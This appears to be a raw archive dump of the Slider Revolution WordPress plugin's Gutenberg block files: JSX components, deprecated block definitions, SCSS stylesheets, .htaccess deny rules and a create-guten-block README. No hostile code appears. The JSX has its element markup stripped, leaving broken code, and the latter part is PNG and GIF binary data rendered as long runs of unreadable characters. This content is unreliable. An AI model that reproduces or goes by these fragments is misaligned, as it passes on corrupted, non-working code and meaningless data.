            ); } }, );admin/includes/shortcode_generator/gutenberg/src/revslider/revslider.js000060400000014241151724235750022620 0ustar00/** * RevSlider Editor Element */ /** * Internal block libraries */ const { Component } = wp.element; const { TextControl, Button, Tooltip } = wp.components; if(typeof wp.blockEditor !== 'undefined') var { InspectorControls, InspectorAdvancedControls } = wp.blockEditor; else var { InspectorControls, InspectorAdvancedControls } = wp.editor; import { RevSliderImage } from './revSliderImage'; /** * Component RevSlider for usage in block */ export class RevSlider extends Component { constructor() { super( ...arguments ); this.state = jQuery.extend(true,{},this.props.attributes); window.revslider_react = {}; } componentDidMount() { revslider_react = this; // Create Block in RVS with current state RVS.SC.BLOCK = this.state; // Open Template Library when block is added for the first time to the page if(!this.props.attributes.content && !this.props.attributes.text) { // Check if in widget area, then do not open the template library automatically if(wp.data.select( 'core/editor' )!= null && wp.data.select( 'core/editor' ).isEditedPostDirty()) RVS.SC.openTemplateLibrary('gutenberg'); else return false; } else{ // Fallback for saved blocks with no alias attribute (< RevSlider V6.1.6) if(!this.props.attributes.alias){ let shortcode = this.props.attributes.content!==undefined ? RVS.SC.parseShortCode(this.props.attributes.content) : RVS.SC.parseShortCode(this.props.attributes.text); if(shortcode.attributes.alias) { this.props.attributes.alias = shortcode.attributes.alias; RVS.SC.BLOCK.alias = this.props.attributes.alias; this.props.setAttributes( { alias : shortcode.attributes.alias } ); } } if(!this.props.attributes.slidertitle ){ if(this.props.attributes.sliderTitle){ this.props.setAttributes( { slidertitle : this.props.attributes.sliderTitle } ); } } } } // Open Block Settings like offset, popup, admin thumb openBlockSettings = () => { var data = false; RVS.SC.BLOCK = this.state; revslider_react = this; if(!this.props.attributes.alias) return false; RVS.SC.openBlockSettings('gutenberg',this.props.attributes.content); }; // Open Template Library openLibrary = () => { revslider_react = this; RVS.SC.BLOCK = this.props.attributes; RVS.SC.openTemplateLibrary('gutenberg'); } // Link to Slider Editor in new tab openSliderEditor = () => { if(!this.props.attributes.alias) return false; RVS.SC.openSliderEditor(this.props.attributes.alias); }; setwrapperid = (value ) => { revslider_react = this; this.props.setAttributes( { wrapperid:value } ); RVS.SC.BLOCK = this.state; RVS.SC.BLOCK.wrapperid = value; } // Open File Optimizer PopUp openOptimizer = () => { if(!this.props.attributes.alias) return false; RVS.SC.openOptimizer(this.props.attributes.alias); } // Update Attributes in case Slider alias changes setSliderAttributes = (alias) => { setAttributes( { alias } ); setAttributes( { sliderImage: this.state.sliderImage } ); } render() { revslider_react = this; // Set Attributes from State (state was changed in RevSlider JS) this.props.setAttributes(this.state); const { setAttributes } = this.props; // Turn off Styling in Block Options Sidebar when leaving block { !this.props.isSelected && (RVS.SC.updateBlockViews(false)) } if(!this.props.attributes.slidertitle ){ if(this.props.attributes.sliderTitle){ this.props.setAttributes( { slidertitle : this.props.attributes.sliderTitle } ); } } return [ { this.props.attributes.alias &&
            Optimize File Sizes
            }
            , this.setwrapperid( value ) } help="Enter a word or two — without spaces or special characters — to make a unique web address just for this module." /> , ,
            { this.props.attributes.slidertitle }  setSliderAttributes ( this.props.attributes.content ) } />
            ] } }admin/includes/shortcode_generator/gutenberg/src/revslider/index.php000060400000000033151724235750022075 0ustar00
            PREMIUM TEMPLATE
            :
            visibility_offREGISTER LICENSE TO UNLOCK
            ; if(premium == '') badge = ''; //Image Loaded if(this.state.response && this.state.response.image !== ""){ return [
            {badge}
            ] } else { //Image Loading if(!this.state.response) return [
            ] //No Image else { return [
            {badge}
            ] } } } }admin/includes/shortcode_generator/gutenberg/src/revslider/deprecated.js000060400000010006151724235750022714 0ustar00const deprecated = [ { attributes: { checked: { type: 'boolean', default: false }, modal: { type: 'boolean', default: false }, text: { selector: '.revslider', type: 'string', source: 'text', }, sliderTitle: { selector: '.revslider', type: 'string', source: 'attribute', attribute: 'data-slidertitle', }, sliderImage: { type:'string' }, hideSliderImage:{ boolean: false } }, save( props ) { const { attributes: { text, sliderTitle, modal } } = props; return (
            {text}
            ); }, }, { attributes: { checked: { type: 'boolean', default: false }, text: { selector: '.revslider', type: 'string', source: 'text', }, sliderTitle: { selector: '.revslider', type: 'string', source: 'attribute', attribute: 'data-slidertitle', } }, save( props ) { return (
            {props.attributes.text}
            ); }, }, { attributes: { checked: { type: 'boolean', default: false }, modal: { type: 'boolean', default: false }, popup: { type: 'object' }, text: { selector: '.revslider', type: 'string', source: 'text', }, sliderTitle: { selector: '.revslider', type: 'string', source: 'attribute', attribute: 'data-slidertitle', }, sliderImage: { type:'string' }, hideSliderImage:{ boolean: false }, offset: { type: 'object' }, layout: { type: 'string ' }, alias: { type: 'string' }, zindex: { type: 'string' }, shortcode: { type: 'string' } }, save( props ) { const { attributes: { text, sliderTitle, modal, zindex } } = props; let style; style = zindex ? "z-index:"+zindex+";" : ""; return (
            {text}
            ); } }, { attributes: { checked: { type: 'boolean', default: false }, modal: { type: 'boolean', default: false }, popup: { type: 'object' }, content: { selector: '.revslider', type: 'string', source: 'text', }, text: { selector: '.revslider', type: 'string', source: 'text', }, sliderTitle: { selector: '.revslider', type: 'string', source: 'attribute', attribute: 'data-slidertitle', }, sliderImage: { type:'string' }, hideSliderImage:{ boolean: false }, offset: { type: 'object' }, layout: { type: 'string ' }, alias: { type: 'string' }, zindex: { type: 'string' }, shortcode: { type: 'string' } }, save( props ) { const { attributes: { text, content, sliderTitle, modal, zindex } } = props; let style; style = zindex ? "z-index:" + zindex + ";" : ""; let shortcode = !content && text ? text : content; return (
            { shortcode }
            ); } } ]; export {deprecated};admin/includes/shortcode_generator/gutenberg/src/revslider/.htaccess000044400000000177151724235750022066 0ustar00 Order allow,deny Deny from all admin/includes/shortcode_generator/gutenberg/src/revslider/style.scss000060400000002104151724235750022313 0ustar00div.revslider_block { background: url(images/rs6_logo_2x.png); background-size: 120px 30px; background-repeat: no-repeat; line-height: 32px; } div.revslider_block .components-text-control__input { display: none; } div.revslider_block span { font-weight: bold; font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif; } div.revslider_block .slider_slug { float: left; } div.revslider_block .slider_edit_button { float: right; } /* [data-type="themepunch/revslider"] .editor-block-list__block-edit:before { outline: 1px solid rgba(145, 151, 162, 0.25) !important; } */ .editor-block-list-item-themepunch-revslider svg, .components-panel__body.edit-post-block-sidebar__panel svg.dashicons-update { width: 24px; height: 24px; } .editor-block-list-item-themepunch-revslider .editor-block-types-list__item-title { padding: 4px 1px 4px 1px; } .wp-block[data-type="themepunch/revslider"] .sliderBar button.components-button.slider_editor_button span { position:absolute} admin/includes/shortcode_generator/gutenberg/src/revslider/editor.scss000060400000020265151724235750022451 0ustar00/** * #.# Common SCSS * * Can include things like variables and mixins * that are used across the project. */ /** * #.# Common SCSS * * Can include things like variables and mixins * that are used across the project. */ /** * #.# Common SCSS * * Can include things like variables and mixins * that are used across the project. */ div.revslider_block { background: url(images/rs6_logo_2x.png); background-size: contain; background-repeat: no-repeat; line-height: 32px; } div.revslider_block .components-text-control__input { display: none; } div.revslider_block span { font-weight: 700; font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif; font-size: 16px; } div.revslider_block .slider_slug { float: left; } div.revslider_block .slider_edit_button { float: right; } div.revslider_block .slider_editor_button { float: right; margin-left: 10px; font-family: 'Material Icons'; font-weight: normal; font-style: normal; display: inline-block; text-transform: none; letter-spacing: normal; word-wrap: normal; white-space: nowrap; direction: ltr; vertical-align: top; line-height: 26px; font-size: 16px; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; -moz-osx-font-smoothing: grayscale; -webkit-font-feature-settings: 'liga'; font-feature-settings: 'liga'; border-color: #5e35b1; background: #5e35b1; color: #fff; } div.revslider_block .slider_edit_button, div.revslider_block .slider_editor_button, div.revslider_block .slider_edit_button:focus, div.revslider_block .slider_editor_button:focus, div.revslider_block .slider_edit_button:active, div.revslider_block .slider_editor_button:active, div.revslider_block .slider_edit_button:active:enabled, div.revslider_block .slider_editor_button:active:enabled, div.revslider_block .slider_edit_button.components-button, div.revslider_block .slider_editor_button.components-button, div.revslider_block .slider_edit_button.components-button:focus, div.revslider_block .slider_editor_button.components-button:focus, div.revslider_block .slider_edit_button.components-button:active, div.revslider_block .slider_editor_button.components-button:active, div.revslider_block .slider_edit_button.components-button:active:enabled, div.revslider_block .slider_editor_button.components-button:active:enabled { border-color: #5e35b1; background: #5e35b1; color: #fff; height: 28px; line-height: 18px; vertical-align: top; border-radius: 2px; outline:none; box-shadow: none; } .rs_component_panel .block-editor-block-icon { border-radius: 2px; } div.revslider_block .slider_edit_button:hover, div.revslider_block .slider_editor_button:hover { -webkit-filter: brightness(120%) !important; filter: brightness(120%) !important; border-color: #5e35b1 !important; background: #5e35b1 !important; color: #fff !important; box-shadow: none !important; } .editor-block-list-item-themepunch-revslider svg, .components-panel__body.edit-post-block-sidebar__panel svg.dashicons-update { width: 24px; height: 24px; } .editor-block-list-item-themepunch-revslider .editor-block-types-list__item-title { padding: 4px 1px 4px 1px; } .sliderBar { padding-left: 160px; } .sliderImage { background: #e3e5e8; text-align: center; line-height: 0; margin-top: 20px; } .sliderImage div { width: 267px; height: 150px; background-repeat: no-repeat; background-position: 50% 50%; background-size: cover; margin: 0 auto; } .showSilderImage { float: right; margin-left: 10px; margin-bottom: 10px; font-family: 'Material Icons'; font-weight: normal; font-style: normal; display: inline-block; text-transform: none; letter-spacing: normal; word-wrap: normal; white-space: nowrap; direction: ltr; vertical-align: top; line-height: 26px; /*font-size: 16px;*/ -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; -moz-osx-font-smoothing: grayscale; -webkit-font-feature-settings: 'liga'; font-feature-settings: 'liga'; } .hideSilderImage { margin-right: 10px; margin-bottom: 10px; font-family: 'Material Icons'; font-weight: normal; font-style: normal; display: inline-block; text-transform: none; letter-spacing: normal; word-wrap: normal; white-space: nowrap; direction: ltr; vertical-align: top; line-height: 13px !important; /*font-size: 16px;*/ -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; -moz-osx-font-smoothing: grayscale; -webkit-font-feature-settings: 'liga'; font-feature-settings: 'liga'; } .wp-block[data-type="themepunch/revslider"] .editor-block-toolbar > .components-toolbar svg { color: inherit !important; } body[class*="version-5-4"] .wp-block[data-type="themepunch/revslider"].block-editor-block-list__block, .wp-block[data-type="themepunch/revslider"] .editor-block-list__block-edit.block-editor-block-list__block-edit { background: #f6f6f9; } .wp-block[data-type="themepunch/revslider"] .revslider_block { background-position: 14px 14px; background-color:#fff; } .wp-block[data-type="themepunch/revslider"] .revslider_block .sliderBar { padding: 14px 14px 14px 160px; overflow: hidden; position: relative; } .wp-block[data-type="themepunch/revslider"] .revslider_block .sliderImage { margin-top: 0px; padding: 14px; } .wp-block[data-type="themepunch/revslider"] .sliderBar slider_editor_button_wrap { display: none; } .slider_editor_button_wrap { display: none; position: absolute; right: 14px; top: 14px; padding-top: 2px; white-space: nowrap; width: 220px; height: 30px; background: #f6f6f9; } .wp-block[data-type="themepunch/revslider"].is-hovered .sliderBar .slider_editor_button_wrap, .wp-block[data-type="themepunch/revslider"].is-selected .sliderBar .slider_editor_button_wrap { display: inline-block; } .block-editor-block-list__layout .wp-block.is-selected.wp-block[data-type="themepunch/revslider"].block-editor-block-list__block:not([contenteditable]):focus:after { box-shadow:0 0 0 1.5px rgba(66,88,99,.4); } .wp-block[data-type="themepunch/revslider"] .sliderBar span { white-space: nowrap; height: 23px; overflow: hidden; display: inline-block; max-width: 100%; } button.components-button.components-dropdown-menu__toggle.has-icon[aria-label="Slider Revolution"] .dashicon.dashicons.dashicons-update { margin-left: 0px; margin-right: 0px; } .rs_lib_premium_wrap { font-family: "Roboto";position: absolute; top:5px; right:5px; z-index:300; width:auto !important; height:auto !important;} .rs_lib_premium_lila, .rs_lib_premium_red, .rs_lib_premium_red_hover { display:none;background:#ff2021; line-height: 23px; padding: 0px 6px; font-size: 13px; color: #fff; font-weight: 600; position: relative; z-index: 15; text-transform: uppercase; border-radius: 4px;} .rs_lib_premium_lila { background: #5c30af; display:block } .sliderImage.tp_premium, .noSliderImage.tp_premium { position:relative} .noSliderImage.tp_premium { background:#e3e5e8; padding:15px;} .sliderImage.tp_premium .rs_lib_premium_lila, .noSliderImage.tp_premium .rs_lib_premium_lila, .sliderImage.tp_premium .rs_lib_premium_red, .noSliderImage.tp_premium .rs_lib_premium_red { width:auto !important; height:auto !important; display:inline-block !important; vertical-align:top; } .noSliderImage.tp_premium .rs_lib_premium_wrap { position:relative; top:auto;right:auto; height:25px !important;} .rs_n_ac_n .rs_lib_premium_lila { display:none} .rs_n_ac_n .rs_lib_premium_red { display:block} .rs_n_ac_n .rs_library_element:hover .rs_lib_premium_red, .olibrary_item:hover .rs_n_ac_n .rs_lib_premium_red { display:none} .rs_n_ac_n .rs_library_element:hover .rs_lib_premium_red_hover, .olibrary_item:hover .rs_n_ac_n .rs_lib_premium_red_hover { display:block} .rs_lib_premium_red_hover .material-icons, .rs_lib_premium_red .material-icons { margin-right:5px } .wp-block[data-type="themepunch/revslider"] .sliderBar button.components-button.slider_editor_button span { position:absolute}admin/includes/shortcode_generator/gutenberg/src/.htaccess000044400000000177151724235750020067 0ustar00 Order allow,deny Deny from all admin/includes/shortcode_generator/gutenberg/index.php000060400000000033151724235750017307 0ustar00You can find the most recent version of this guide [here](https://github.com/ahmadawais/create-guten-block). ## 👉 `npm start` - Use to compile and run the block in development mode. - Watches for any changes and reports back any errors in your code. ## 👉 `npm run build` - Use to build production code for your block inside `dist` folder. - Runs once and reports back the gzip file sizes of the produced code. ## 👉 `npm run eject` - Use to eject your plugin out of `create-guten-block`. - Provides all the configurations so you can customize the project as you want. - It's a one-way street, `eject` and you have to maintain everything yourself. - You don't normally have to `eject` a project because by ejecting you lose the connection with `create-guten-block` and from there onwards you have to update and maintain all the dependencies on your own. --- ###### Feel free to tweet and say 👋 at me [@MrAhmadAwais](https://twitter.com/mrahmadawais/) [![npm](https://img.shields.io/npm/v/create-guten-block.svg?style=flat-square)](https://www.npmjs.com/package/create-guten-block) [![npm](https://img.shields.io/npm/dt/create-guten-block.svg?style=flat-square&label=downloads)](https://www.npmjs.com/package/create-guten-block) [![license](https://img.shields.io/github/license/mashape/apistatus.svg?style=flat-square)](https://github.com/ahmadawais/create-guten-block) [![Tweet for help](https://img.shields.io/twitter/follow/mrahmadawais.svg?style=social&label=Tweet%20@MrAhmadAwais)](https://twitter.com/mrahmadawais/) [![GitHub stars](https://img.shields.io/github/stars/ahmadawais/create-guten-block.svg?style=social&label=Stars)](https://github.com/ahmadawais/create-guten-block/stargazers) [![GitHub followers](https://img.shields.io/github/followers/ahmadawais.svg?style=social&label=Follow)](https://github.com/ahmadawais?tab=followers)admin/includes/shortcode_generator/gutenberg/dist/images/.htaccess000044400000000177151724235750021510 0ustar00 Order allow,deny Deny from all admin/includes/shortcode_generator/gutenberg/dist/images/rs6_logo_2x.png000060400000012421151724235750022554 0ustar00PNG  IHDR<X7]tEXtSoftwareAdobe ImageReadyqe<(iTXtXML:com.adobe.xmp q.IDATx]wp\]Q'ٲl6l8 pf5dH LdBBd,H($(L[ Ae@.eI'5Ňݽӕiv~[L2)ړ^cA[/"9&V FѶ ݂,vZ_dX,}+䭌7IO|~%wj摹 ^%QGpsf 75݆-aokd\79&}Yd2UR҂vsok=wϋ<"p_q*>Չ[miٗ⮧OW߲u-HLF { sx!o9\/%lPګ 5ʖ5 GQ:n^!u՟+wT~'2?REҔfž GMSւ٘ q I|< i3 E(;ցk/uw37%ºo(% ALb:% {h߹y[/7V̘qs0;#d̘LV$ƉjWZ-8KOgzF+pAϩ1567x| tw [Kͽز ff*Z@)&Zu=L0l8KJrĝ A-= W6! qr|(%~JުM'ecϱ>k;C^2r3;WLؘ*"dY9k xIm9ߴ0%fĦT\4߻UWXU0 ^&E9D{EfK]}Xrfv s#!pU :I&ž] /ٸrwG7>yr `1 ĨDY\CQo1})]p7cvy5O2෷:9ѯ7Hβ/H7禎0@,1Z6D/qpKN[(u֏5?y RӬ̜7<4]U܏ʆaCAQ{FKBԫVQ2\5D'.7nl69yh_~%( _{qq)B.|z 6Y)(P) uNH Z['2Sfw,,S& 2o1-:w("4*K]>AED+Hm+o(@NIal,9g}тuƮ8pHXéc,%5>ZZ9ɪN1f6^wRdH]Y'"[@S#"p`V?kOV⇷B.0,`Z4pfAbL-]/龭8U3.+uɁ^VНpƁl~&nIW5SRmL'Wb1> 'W8 5QDA&t=jz 62q*q}z?WGHEi1YFhwN+4\gcX] g{b-ԔS,p1+q в=F`V9WNZwDKsyԹ*bF"۶ߴKTe,ՔM[b#qz,N1rӏ[mǡ^}߉j%ueJA `YqHXeY?nDŽ0>6"ÃcԃcCL$p՘U %\%N= 87&_0*wPkX{yW/B`PoS-UH*%Rb*%UXzj;EN|~x{aK0zLֈ+S:p6#0~},L'~sy)N>a LЍL.3EvcR}6ڻ?e\_:_⥟.߄W3f .l0.,87љc[zl䮘G+r&r,YjSJ8Y+?V@f urS1,?azrAk~_L4Wyrkx}pUIi•KZM{k]}F +NW7h?Vb0<`.wX%I ^ԯcLw-ƹ)sKY׿aZbN(\8c,N'߇ty 3 b nuNN&Y:ٗ;-\hi,>Z(?#n$[,^μd.ξST NMaIp ۺu`4[͡4J ޒrb \G@ &SYJ (Fs[';|S$8)_6١C%SE oz(L|-iZLNTyI*ጓxgʺXřxtT;cN6|,vhZ_;N*z qcj  g% *ĵګEU n)+ʍ_@1[dn TA&'$D(Տ6_8O{>μx.lbOc_wcͿ_.uObzHFk:U06?#TZpVO-_DJJ'bQPIY^{v.(QAQ:P8v|QFXi(tmd/5{ppYYT@>y}QXN/Ezjc7d$;OՀ{?CE˧6"FI⒑\8-jD w%"=Nkp~Z]NOx=wYa Od] sIQuv$ɈqrQۍ8;܍e;>|vz萓1+2vr])71!1҃=بqsWS2G-) }6\ L=ހj =l 1|efJd҇ gfOqSG,KCcxbM;làzPX mE邹d7a(>E0)^Ʃoqw;Ôx`iv|ڎ_]yp3<[tߓ5׿M7ߚ0\JDvN(\;ˣ],$8[qX⬤H'.GbsEtY8vtq˔|@K;j_כ:w*|u8RLEpo5k SS6=N=U8 F4dj><*s)EIY.+Β{SpV{uQvՌ&CY$ `q 1ZŷXȭaS\lbeA=N|p#^N,;D֖^R)K)VVR0OLLVɉNN#h'ؽ6H(F/ԃX Osi,H%?2v]ÌSUDXaV3'ѭ"X#h-^ԣĂ\U5I~ =bZg4)n$ `Q-(Բ ~V=Sԥ7 ]x] 59C\#_Vqnu#1NjcWBdN~IENDB`admin/includes/shortcode_generator/gutenberg/dist/images/sr-minigif.gif000060400002415120151724235750022443 0ustar00GIF89a@F?'א!& ^`fffkory, ,/4::<%$& CDG%$! 531KLQm_KJK.-.wp656kfe{ORVuuz YXZ??@½o?"\]`EA@eccygZ*)*xro}}400kVE$ kYJ<97VRQzzy|NNTnmo0/0()7fOK`r_̳d?q{XsݽkϴJfQXiou|Àǘ=]#Ci:`&Mt,S~-L6S~?]@}DHoLOt[gΒ,H.Q.R0V2W3^4\4f7h7l7s8T8]:s=t>eAvSS/YbH6nO7R0A#lWY6˿{VuVkfJqDewK`6nbK:pE*eKzO2~\?qPf$gVV e"(uIPflِr mTgx'x}:h Y Xd-$b}kR8)anl~zYLzz9j kO|묲ڪ^LÙGuou^2{׋fqW{ڨ gp;n <'0Vz$P]n/*Me2OL^éBlf梛 rX*(za̛Jǵ%,6--cEϖo_ 8N1~:rZ>R867Nvjgj*I L7x3ۣ$?|'0֤.ωd&uEN3h-$Ϻ;^*UJ]ޞ |*a)rs1KK sȵ|+*3%4Mi{ĦOZzsgBv"驞{2V+f'R{ j& LBJB4zWQfҏ3{>BOJo%j|3-WTյԒEK7iL7MӌKia`MDUWQԶnpTcb`ǼjORv5cFF$TT:֩qjʻyղX~ר|NaXT]d PcZFv~*ei:ѼZ_;UcYײU3LnkׂM=9y,4!'suϗal$M63f)vT>nL:떟2H L@;Џ5׌vK|(x@yUO;/u.ӾBO$=7 ŷe#Ppzރ^)H/}{{y-.=z}7HVBF dqHzxsQ Ur1w;3'3ɖ?= Xk'g4xAW;HF@ar(T ~*bG-JF@^H8{~QKMfgz td [@G }Fw#iAaWBzGmЦ<#wIhqVǂt肞ou@@D@m}Y#?G}%斉)ȉc7Y`dx֓^Z0N !NDs$hwxȋ苙yQ(m<77P4CV؍uhL8 9gǁ;D1U&$?'4'C巐(|d+E^3(sW BB+0Wph'6$@Go=iXS80g>z`rGIhl(MG'{e8;Ad&Xf8U,/kvF457e(9@"?Ƀ;XCJ5`Uw9sՀ2BG3v@og)Hy|9a感))iIWt^|>T`!A1iH]HS:P4bF!FC h)uyX3FF[#d?2(o7DW~ǯ,bL ' ûTuk BC"9hĈ87`k:s$*DQC=' 2Ř8PlMZ&򿥒GA<cbv7\>opL{WWAʨAZ%ȮiLFpJe*_]NJ548cڻmVҬ)l x^̋L̰›ĩJ;b`ЯzŶ]]/.M'mC J!>Y', T:AKf]&(wE5EMo\ `HLz-!0bI1*XU)Dݽ` ?T=qP:C:^ϥ-֦]T}@,:F:>} :3 Yo8܆:b ZM,pC0ͻ곚mm`@Tk.5[ ݟ۹8x<āL#=^x*=> ڭ6 Q`>IٔHR.Y`#@J_0=TsiNu:amYr˩=LΖ6xJ lP#a^,PV8ɐ-N)=' B0LPC@z@ 0 QpPԱ .T~ɘQP%Гs"MөQ]9"d1A6_1o}jc dE~’DP;_' DpTp^Ap~@$0GVˁ7BTq^%~ʞQ#hEh<7Ƃ}CJB dH]!RQb|l>@P>;M`_@N?9 Ya$;PY{h񱝛oM|'CG<Gns#{k: a.`T<@;q ~@.0hr?xAkߞOⷯ xˮՁ ytxܣ9p>rF  j(F=pO}Wbvt/" R0 FD%!,$ƌ) ȢE,hؑ6@I 9NA˖eSM9q'O1mI3d (Q( hf" %ș@q64 .pa@HDz!Eˋ(Q`! $4{3ϡ- ]ԋ<D,!Eܹ3hX‰Gbo}1BdE&0Hg!&x#5 w݉'*…,xJ8 \K p|_PDyS b\(.hR;(+,]˞ KFźRFŢPMEr( Q4ŅNr6Nh@ FŁ0 U/74 @'5)M`_-RDiHA*ԾēM`dz+;~Jč$כxӒT+aՂ Bd$h]4[8 APV8p,VW4)MB?` pƛn)K^&D60Py6l:D[R)j+I, F&bTptءSU ýH: $0} :p[`@vlLWsQ 0qL#\ZͲ7T6\m l)M  1m}_+vf\5O)4$t:Tܣ5i }to 0`E,X1,5:3hGK,WV-TZ+ Д3(:tw8]3Z[[8ۯ`样X1:*:+?4œ!Ġz#y'  \Y҂ƚ!_11ӿ ({ .1B00B:H3@ ܻ̲P> @ D"&)>pv փg%|k"D:{:%X3B+%X+x%),4 vk4K:C1lV\1Bw(Ϛ@) ҲC3>_Co7 >!F [.x9yA+i7I!E* k):<*Imt4)Ht#H ACun`Dsr=Rsz$I9@|$CL@p#̧/G:䬁2@Ƚ5 aKôĞU[ 3<11,T䋪{ٜȱƨ̙E\)T*-Ջ|Ě:'0%1N( ;O/ X}BL-xLKNJK*!{ /5VPUBW1mVBHr;$͙MR ˉ[RmT,v(7 pڀ+҉ʊUS=Ȗ0P})œxIqĩ{q7܁\t֚q7 =*+9h9٘Y-xYYTՔ$W9Fcd\t& LX7$km`5G$S~]ЫXȈ&=Ul$.2-? y[BN HG Y:!?Zf ?$!TҀO`5}TC ōȠ}# dM5h>g^ZV T1B LSɲ21Qz(Ĩ[= lu=Z)գN ?Tm`yH^*/ŅM5<MWy5X[\~W*ȍ(ZtơIMBd W5y:)IGt4ͻU+I+L TGC*a!,)ZC@\UaMUa)PlީNKɨ@s{bsXKD " ȁˀ7Ր ;#Ca"%Zՙ` dT׃&kafEn\QEFmY2(($GJ$O)`PTڂ@gLJ[OF:m'yɓ>x/,pT#9όa!xra+3krOag~C5ƥ>NP 0XGcVf@T9gl˜/&ԓIGS0}ї[ˍ.gu-EV]AHiHkgE҈idhaD՟e乎ҊfzuahfYO[eT"}<iX(B*A1N~ 0@O+eVhJ1>q@>khdkju;k)ݙfmv*6b& IE8 M?!l">x!1; (N Qznc0_*!N Y [fKkK}fN,Z\ EnO~qɂI̪7JG} ,ECbcݭkF1vDT+f/!?u=@OT=:=\MF)./t?ZA^؎k$Yʭ;w s 0~tellQ d]PS&(;\5YجbiL~aEY QuinKϔFnuPdm#:#]/ ɂlG?'D+c=sUx7 $0򱛺p)Ok{g_MCC ,H]_wTB_<̻dsV='ј!wGލ vqUN5z'tKnǖpQdA  ?a5}T+F KJa>~H|JygCcY%0h KԎ]\\il)yHx$K: ǧ ePrɩ?C O;p~@\HtSh*4$H*ǔ0ehl+tzlILhnw J7bЯmFpCT(RSi{L׎grsuM J4pmMSϲx ',mH{E .@(Hov4S\cr |ʳ x_dD fPtg;~?u\~$<_$,CҢJ_2湏rg*E`wg=Fl/EIOS#xI'HJ\`Cpjp߶WKM},< -w.D,N0wuMD^O?uu+%й\=`>Ȯ؟jA;AD<#tЍd6 {ʠdU`>6LOϊ2W@1j>6?dڼ+d7p6-uO^6fCM"<]]^ $+N rA j'y_B#bd N|Qf}" gtbƝ#srm~FV[w:%$I'H 'F06w<5xK ¸9p4 >#^fW'Gz>ޯy(/?d/S%N䥕(鍦a-aovqfoȏe/' ?5v3 5t4s0H `lkg8uyqyWHu_kO2LwK7W (Vs.yY'ٍL? M>i>,WMݞlR E++0:`!U!dJr#*/)xNo8,~ct'ŕa9؞+IXlZh#> ة*(}YH7d?yC fP^6d{:< o 7Dc ?kft΅ّ*ߖ/t!w'Y-rCpka|Sw Ft[;w[cw߇菠'CtW7Tf-9'KMTϸ+/d@'''ctS9tXwƛwby_$(8&8lgy/Tfdr0!R*m5%wyƒBٌ{`$wݸYHz'R_ac^4aN/#D$8܉67t[r._HԇӐU&o~q17xT*wph޶++++`lj)GeGkImT2a἗%{wT_ZyJHSנ~}t=j`u{K~MjFu56LH+HO2+8@xPbjM Hw*E;Po\LP$pdo W Oyu%b_hao_W2ecHg_紴rSrOwO}W/g>jqCN~AiAixrߧ/~._EI=Sn)\efwRl߄|m|$cMg͇dyp_Mo5--pupϊ|H&1 nߐg^0dr!;aAUUBZ6힗ϊ2K'>m/myrff+'},𒟎) !!b41O9X MUR!+Z|`aGdɞM$y-w,pwǵ%K-_*_t'!Mˤ] Rt(ӏtz^7$ᖶuR`>}Wf]}, W  Qw6'V`.\;A׋}S .?M5\U+;Z\:׎tbP(Yahv!uw "'7 LK+52ތ8&xy!G.kjNnSӕ4,8]|=ڷ^ GvNwG |r)O&_lHRncno6a{G#a;F_aH >Xw>wg1GkT'T"s 8x&>kVPI6Z"RW_W3!p67p[KuAy지}%+1k;=4tMe e Wd{pp/Wpt`VG|\h{Y"uXx*7&}&sÿpΏpSW-;sT/\2]_bkat݇nZ7?&'fAerzTF g2MOKfO~;}wnjDS,uN R{Rs~J&xOX߬n pdt!y8/Kߝ~yYvsqՎ1J?k)g x/dwp(O~'_0;_z~0N֯sufI/c\k+G+0GHP| a붘W}2r*M{)?8(Rt*hoW_WtEspfͪc2(}~hfu2,⋐ZH09bTu)ywHm+u'N/I8\^T~ Z]T/|/wy%pXW& HtύzOO ,L3j yk{mwڄKϸT/qp*djp.di"}J~.\?uGw~umOUonIV9tc6Tϗ.p\tOMH GЏ N5=}RhKMD+_mwu#>~VRY~2t6nF#h}MF<"!u/?}1RA6 E(F~%C&Z8L*RW ;4M&~t+w7N5+}o8,LmhzrO8ZU/xmNu$[#ZZZxwWM~)<'Aa:~ߝovuo{W'Β[6?knT_ĵ2(-wZ -pN{727)uFKcNM&w/~U3)!aT5ݬk zsG2@X@/_H\\w#m~kdc~ȴz^q:vN:Nkfa"16Ht!}߸~ ǵoԗVZO xnp._p-,u.i=Չk? N~+~ms:׺zt=2}pT[L &r67F؞f p닕$҂41"P}5'=k wwY*rfŐ#leŋj ݀AHv>KS_0[5OНB~mJ[ D Y聊lR7m؆O5\PKw>T|Y͂|cAyysDZr7^x;0̓:!?vF_B_߯rvOuD 7mx6 XnKQ@l!t%0/e?50.zPGqj(k )?yLnK^=p.`;U5djk=*)7;yK/- 2( {m+. 0|7( P'o8_U] bǝtdSܐGާӽsaořrߩq]-_k:AE'8vExT @wfw t~ |?A^tIj V' ֈ0]_Xc@Nt1K;{'0{E212012P4pyww5gN~sEw|AU=G'kT;VvIt}DMFs^揉ThrS/pC)˕mT 'ژ{paF`'IC}u? v5\Q|%pVʮ֪sMȄC8Dڒ5fw'ىSw ZSWpr&?aG6K5 m˶~ז@żmCrs;r5j˭\'tw'%̓,é/h+?4 Y ^&nFx;Alf6q}BEVGu(wkm_CҪ84d/u0v"j ;gzYi`GcL~1}3t!TMEwSlLZA)qv(Bθ8/3_<07!-SH ODߏX8o;vSp2(~x@C7 ;A3XaZ'r$wa߆L/\ ڥmS'>eowHϞ ]+y۹_yһ4zCyۆ{{B8̙ˠ俵wR,PlalI@޶$-uxP8P-G<W/Nrߛ-;e6aI?@}s$+#r9.eМyG>Xv=duwR vHߖL"{R7 ppiZ"Jl~Xw"@^s^}븓9Ѝ.?TşT Т+_UG)'͗+! m,@E$T OHŋ3jf He6_N^… %N(Rf;b4IbϑLCPH*Ӧ8|`Uʕ"?5PqA+.c]Rm[-㶜EŚ)VtB߿]JLE$v:㬐qHfE(,c 4ۉ\*ڠh# /N\11']ͻ)TcN\+nw~X(&S^%J܊/sqy^bᾋ5_2&7ydf3zuZجTv핗E R&TxE(x1ace`Yԓ_fM_XkJDv/lL5hda$wal4FA8aQZHQdMQA*V]kV؆/dSE5Ѩe1RCTl.R_MiQRb|fG٥MmFA D I^n醇Vg,Zg 